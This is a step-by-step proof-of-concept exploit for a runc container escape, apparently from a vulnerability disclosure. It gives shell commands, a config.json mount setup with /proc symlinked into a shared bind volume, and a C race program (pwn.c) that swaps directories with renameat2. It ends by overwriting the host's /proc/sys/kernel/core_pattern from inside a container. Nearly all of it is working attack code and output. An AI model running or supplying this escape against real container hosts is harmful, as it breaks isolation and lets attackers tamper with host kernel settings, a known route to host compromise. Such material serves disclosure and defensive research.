Get an ubuntu image and make sure gcc
is installed so we can compile the proof of concept exploit. We also create a symlink to a folder, which will be in a evil bind mount shared by two containers.
docker run --name foobar -it ubuntu /bin/bash
root@baf2988230a1:/# apt update && apt install -y gcc
root@baf2988230a1:/# exit
docker export foobar > rootfs.tar
mkdir ./rootfs
tar -xf rootfs.tar -C ./rootfs
cd ./rootfs
rm -rf ./proc
ln -s ./poc/layer/fakeproc proc
cd ..
preparing a shared bind mount volume for container-1
and container-2
mkdir -p /tmp/poc/layer/fakeproc
mkdir -p /tmp/poc/layer1/fakeproc
mkdir container-1
cd container-1
cp -r ../rootfs ./rootfs
runc spec
vim config.json
add the following mounts at the start of the default mounts in config.json
{
"destination": "/poc",
"type": "bind",
"source": "/tmp/poc/",
"options": [
"bind"
]
},
{
"destination": "/tmp",
"type": "tmpfs",
"source": "tmpfs"
},
start the container
runc run container-1
in a second terminal
mkdir container-2
cd container-2
cp -r ../rootfs ./rootfs
cp ../container-1/config.json .
cat > /tmp/pwn.c<<EOF
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <linux/fs.h>
int main() {
int fd1, fd2;
fd1 = open("/poc/layer1", O_DIRECTORY | O_RDONLY );
fd2 = open("/poc/layer", O_DIRECTORY | O_RDONLY );
printf("fd1: %d | fd2: %d\n", fd1, fd2);
while(1) {
syscall(SYS_renameat2, fd1, "/poc/layer1", fd2, "/poc/layer", RENAME_EXCHANGE);
}
}
EOF
gcc /tmp/pwn.c -o /tmp/pwn
/tmp/pwn # execute the swap script
Try to run the container-2
runc run container-2
If the following errors appear, ignore and try again:
ERRO[0000] container_linux.go:346: starting container process caused "set process label: open /proc/self/task/1/attr/exec: no such file or directory"
ERRO[0000] container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"readonly path /proc/fs: no such file or directory\""
If the container starts, check if some masked paths in proc are writeable. For example try to overwrite the core_pattern
with echo hax > /proc/sys/kernel/core_pattern
.
- If you get a
Directory nonexistent
error, ignore and try to write again. - If you get a
Read-only file system
error, exit the container and try again.
If you don't see an error, you should have won the race
# echo hax > /proc/sys/kernel/core_pattern
# cat /proc/sys/kernel/core_pattern
hax
and then verify outside the container
[root@fedora-v30 container-2]# cat /proc/sys/kernel/core_pattern
hax